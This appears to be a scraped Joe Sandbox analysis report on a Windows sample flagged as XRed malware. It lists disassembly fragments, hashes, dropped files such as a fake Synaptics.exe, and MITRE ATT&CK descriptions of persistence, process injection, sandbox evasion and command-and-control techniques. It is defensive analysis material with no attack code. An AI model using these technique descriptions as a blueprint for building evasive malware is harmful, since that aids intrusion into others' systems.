GetSystemMetrics.USER32(00000000), ref: 004011EE
GetSystemMetrics.USER32(00000001), ref: 00401203
SetWindowPos.USER32(?,00000000,00000000,-000000EA,00000000,00000000,00000005), ref: 00401222

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: MetricsSystemWindow$Rect
String ID:
API String ID: 3945642117-0
Opcode ID: 48be3c53f468690c759bd857a9dceb589d4c669b848776f0bc02477980a430a8
Instruction ID: d36a45b841dd00d6f56b86c3dc903f5898bcade7daa404c0ddb24a7cda86e33b
Opcode Fuzzy Hash: 48be3c53f468690c759bd857a9dceb589d4c669b848776f0bc02477980a430a8
Instruction Fuzzy Hash: FDF0C273204201BFE2009B7CCD86F6BBBA9EBC4751F454628BA14D61C1D670E8098AA1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZmrwoZsbPp.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_6751ccd5199dfc6aae4d63e074afd0eab89d0a7_455b7b6e_7a39fdbc-f41e-48f2-938e-79571054fa00\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_94cd5ed47a6f15786f7a86d89aeca3bae65a9dc_455b7b6e_48273876-a32c-40e8-8903-dc64931165a6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DD4.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79F1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A11.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F4D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDBE.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDEE.tmp.xml

C:\ProgramData\Synaptics\RCXA37B.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Windows Analysis Report
ZmrwoZsbPp.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre